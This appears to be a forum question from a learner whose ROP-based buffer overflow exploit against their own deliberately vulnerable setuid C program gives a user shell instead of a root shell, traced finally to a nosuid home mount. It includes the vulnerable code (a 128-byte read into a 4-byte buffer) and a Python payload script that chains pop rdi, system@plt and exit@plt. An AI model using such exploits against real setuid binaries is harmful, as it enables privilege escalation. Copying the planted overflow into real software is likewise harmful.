I have been following a few tutorials on bufferoverflow exploitation. But my problem is, that I am not able to open a root shell, I will always get a normal user shell instead. I have checked the following points
I re-verified the following items but still I could not achieve an actual root shell:
- I properly set the owner of the binary to root and also set the s flag (check)
- I have verified that the exploit I use is working properly, the correct adresses for system@plt and exit@plt are used and the values are proper loaded into rdi via pop rdi;ret; segments; I do get a shell after all but not a root shell as expected; (check)
- I heard that nowadays dash and bash do drop privileges and that linking /bin/sh to /bin/zsh will help, but this didnt help me; still getting non root shell (check, approach did not work for me)
- i also tried to call setuid(0) and seteuid(0) for testing in the binary. still no root shell; (check, didn't work for me)
- I also saw that some people set /proc/sys/kernel/yama/ptrace_scope to 0 (see post here)see post here, but that's not the case for me (value is set to 1 and I never touched that) (check, my value is set to 1 and that should be ok)
- I am using linux mint 18.1 serena, maybe there is an additional security feature here that drops privileges and prevents a root-shell?
- see my c code and exploit python script below for reference (vulnerability is in function vuln()); the function shell() is just to have the addresses to the corresponding @plt functions available (this is just for exercising and playing around)
- I use 'gcc -fno-stack-protector -o ghost ghost.c' to compile the binary to avoid stack canaries
Does someone have an idea what the problem might be? Why I still wont get a root shell?
Thanks in advance for any advice and hints. Best Zaphoxx
the vulnerable c code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/bin/sh");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
printf("[+] input: ");
l=read(0,buf,128);
printf("[+] recv: ");
write(1,buf,l);
return 0;
}
int main(){
//setbuf(stdout,0);
setuid(0);
seteuid(0);
vuln();
return 0;
}
python exploit script to create payload:
#!/usr/bin/python
from struct import *
from subprocess import call
poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)
with open("pwn","w") as p:
p.write(buf)
EDIT UPDATE:
so I retried as suggested to call execve() in a small binary directly instead of using the vulnerable binary, just to check if that would open a root shell:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami
zaphoxx
$ exit
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>
int main(){
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
So it does not open a root shell;
I did link /bin/sh to /bin/zsh as has been suggested in other posts, see here:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
As suggested by Peter I did use '/usr/bin/id' instead as argument for system in my exploit to check but the result was the same as expected:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/usr/bin/id");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
l=read(0,buf,128);
printf("[+] recv: %s",buf);
//write(1,buf,l);
return 0;
}
int main(){
//shell();
//setbuf(stdout,0);
//setuid(0);
//seteuid(0);
vuln();
return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
UPDATE: I got a good hint from K.A.Buhr to check /proc/mounts for nosuid entries and:
zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime
So this seems to be the cause of my issues. How would I change that the right way or how can I temporarily deactivate nosuid so I can test the exploit(s) ?